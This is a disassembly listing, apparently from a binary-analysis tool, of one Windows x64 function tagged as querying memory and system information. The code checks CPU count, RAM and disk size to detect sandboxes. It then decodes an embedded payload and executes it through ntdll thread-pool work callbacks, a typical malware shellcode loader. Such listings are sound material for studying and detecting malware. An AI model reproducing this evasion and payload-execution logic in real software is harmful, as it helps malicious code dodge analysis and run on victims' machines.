Function at 0x1400010c0
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
sub rsp, 0x128
mov rax, qword [0x140004408]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x7c], 0
lea rcx, [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x110]
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 2
jae 0x140001112
mov dword [rsp + 0x7c], 0
jmp 0x14000139e
mov dword [rsp + 0xb0], 0x40
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0xb8]
shr rax, 0xa
shr rax, 0xa
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0x800
jae 0x14000115a
mov dword [rsp + 0x7c], 0
jmp 0x14000139e
lea rcx, str..PhysicalDrive0
xor edx, edx
mov r8d, 3
xor eax, eax
mov r9d, eax
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x68], rax
lea r10, [rsp + 0x98]
mov rcx, qword [rsp + 0x68]
mov edx, 0x70000
xor eax, eax
mov r8d, eax
xor r9d, r9d
lea rax, [rsp + 0x94]
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rsp + 0x98]
mov ecx, dword [rsp + 0xa4]
imul rax, rcx
mov ecx, dword [rsp + 0xa8]
imul rax, rcx
mov ecx, dword [rsp + 0xac]
imul rax, rcx
mov ecx, 0x400
cqo
idiv rcx
mov ecx, 0x400
cqo
idiv rcx
mov ecx, 0x400
cqo
idiv rcx
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0x32
jae 0x140001238
mov dword [rsp + 0x7c], 0
jmp 0x14000139e
call fcn.140001040
mov qword [rsp + 0x88], r10
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
cmp dword [rsp + 0x60], 0x3b6
jae 0x1400012e9
mov eax, dword [rsp + 0x60]
add eax, 1
mov eax, eax
mov ecx, eax
lea rax, section..data
movzx eax, byte [rax + rcx]
sub eax, 2
and eax, 0xff
mov dl, al
mov rax, qword [rsp + 0x88]
mov ecx, dword [rsp + 0x60]
add ecx, 1
mov ecx, ecx
mov byte [rax + rcx], dl
mov eax, dword [rsp + 0x60]
mov ecx, eax
lea rax, section..data
movzx eax, byte [rax + rcx]
mov ecx, dword [rsp + 0x60]
add ecx, 1
mov ecx, ecx
mov edx, ecx
lea rcx, section..data
movzx ecx, byte [rcx + rdx]
sub ecx, 2
sub eax, ecx
and eax, 0xff
mov dl, al
mov rax, qword [rsp + 0x88]
mov ecx, dword [rsp + 0x60]
mov byte [rax + rcx], dl
mov eax, dword [rsp + 0x60]
add eax, 2
mov dword [rsp + 0x60], eax
jmp 0x140001255
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.TpAllocWork
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.TpPostWork
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.TpReleaseWork
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x80], 0
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x80]
xor r8d, r8d
mov r9d, r8d
mov r8, r9
call rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x80]
call rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x80]
call rax
jmp 0x140001399
mov eax, dword [rsp + 0x7c]
mov dword [rsp + 0x44], eax
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.1400013f0
mov eax, dword [rsp + 0x44]
add rsp, 0x128
ret